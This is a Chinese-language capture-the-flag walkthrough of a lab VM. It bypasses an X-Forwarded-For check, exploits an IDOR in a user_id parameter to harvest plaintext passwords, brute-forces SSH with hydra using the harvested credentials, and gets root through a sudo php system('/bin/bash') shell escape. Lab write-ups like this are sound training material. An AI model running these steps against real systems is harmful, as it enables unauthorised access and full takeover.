@
端口扫描
这里只有22和80。
服务探测
80端口下提示服务需要本地探测。源代码提示


这里修改x-forwarded-for值为127.0.0.1或localhost都可以绕过。
这里可以用bp抓包修改。我的谷歌中有hackbar可能版本太老,没有效果。
我这里直接用插件hackbar v2在火狐中使用。

十分完美。
尝试注册,并登录。

这里注意url已经变为。
http://192.168.30.145/index.php?page=dashboard&user_id=12
存在user_id参数,那么就通过修改看看能不能绕过用户身份的访问验证。没反应,应该是因为控制台页面的原因。
http://192.168.30.145/index.php?page=profile&user_id=12
重新尝试。越权成功。

前端代码中密码是明文。

ssh撞库
收集账号信息。
user.txt
eweuhtandingan:skuyatuh
aingmaung:qwerty!!!
sundatea:indONEsia
sedihaingmah:cedihhihihi
alice:4lic3
woleyi:woleyi
毕竟只开了22和80端口,收集的密码可以去ssh撞库。
hydra -C user.txt ssh://192.168.30.145
-C FILE colon separated "login:pass" format, instead of -L/-P options

存在alice:4lic3账号ssh撞库成功。
提权

发现flag1.txt。
my_notes.txt
Woahhh! I like this company, I hope that here i get a better partner than bob ^_^, hopefully Bob doesn't know my notes
bob?看来是个讨厌的同事。
那就看一下系统用户信息。
ls /home
cat /etc/passwd | grep bash

看来是单纯的吐槽。
sudo -l

发现alice可以无密码以root身份执行/usr/bin/php。
找一下关于php的sudo提权姿势。
https://gtfobins.github.io/gtfobins/php/

CMD="/bin/sh"
sudo php -r "system('$CMD');"
-r: 告诉 PHP 解释器,后面的字符串是一个需要执行的 PHP 代码片段。
就是执行php代码使用system()方法执行系统命令。这里直接改一下。
sudo php -r "system('/bin/bash')"
sudo php -r "system('/bin/bash');"

成功拿下。